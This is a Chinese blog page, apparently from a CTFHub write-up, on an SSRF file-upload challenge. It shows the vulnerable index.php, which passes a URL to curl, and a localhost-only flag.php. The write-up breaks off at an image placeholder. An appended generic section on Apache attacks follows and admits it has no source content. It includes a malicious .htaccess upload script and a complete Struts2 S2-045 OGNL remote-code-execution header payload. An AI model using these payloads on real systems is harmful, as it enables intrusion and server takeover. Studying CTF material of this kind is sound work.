CTFHUB-上传文件

博客提及index.php文件源码,指出是通过该页面的curl进行文件传输,以Upload Webshell,POST数据包经两次url编码。

index.php文件的源码为:

<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
   exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
flag.php文件的源码为:
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

我们可以看出是发一个文件,通过index.php页面的curl进行传输,POST的数据包经过两次url编码,最后结果为
请添加图片描述

由于没有具体的站内引用内容,以下是关于CTFhub平台Web进阶板块中与Apache相关的常见内容分析: ### 解题方法 - **Apache配置文件漏洞**:在CTF题目中,可能存在Apache配置文件(如`.htaccess`)配置不当的情况。例如,若允许`.htaccess`文件覆盖全局配置,攻击者可通过上传恶意的`.htaccess`文件来执行任意代码。解题时,需要利用文件上传漏洞上传包含恶意配置的`.htaccess`文件,然后再上传可执行的PHP等脚本文件,从而获取服务器权限。 ```python # 示例代码:模拟利用文件上传漏洞上传恶意文件 import requests url = "http://example.com/upload.php" files = {'file': open('malicious.htaccess', 'rb')} response = requests.post(url, files=files) if response.status_code == 200: print(".htaccess文件上传成功") ``` - **Apache解析漏洞**:某些版本的Apache存在解析漏洞,比如在特定配置下,当请求一个不存在的文件时,Apache会尝试从右向左解析文件扩展名。例如,对于文件`test.php.jpg`,若存在解析漏洞,可能会将其当作PHP文件解析。解题时,可上传一个文件名类似`test.php.jpg`的恶意PHP脚本,然后访问该文件,触发解析漏洞执行脚本。 ### 漏洞利用 - **Apache Struts2漏洞**:Struts2是一个常用的Java Web应用框架,若使用Apache服务器部署Struts2应用,且Struts2存在漏洞(如S2-045),攻击者可通过构造恶意请求来执行任意代码。攻击者可构造包含恶意OGNL表达式的请求头,发送给目标服务器,从而实现远程代码执行。 ```python import requests url = "http://example.com/struts2-app.action" headers = {'Content-Type': '%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'} response = requests.get(url, headers=headers) print(response.text) ``` ### 学习资料 - **官方文档**:Apache官方文档是学习Apache的重要资料,它详细介绍了Apache的各种配置选项、模块使用方法等。可以在Apache官方网站(https://httpd.apache.org/docs/)上查看最新版本的文档。 - **安全博客和论坛**:一些安全博客和论坛(如安全客、先知社区等)会分享关于Apache安全漏洞的分析和利用方法,通过阅读这些文章可以深入了解Apache相关的安全知识。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值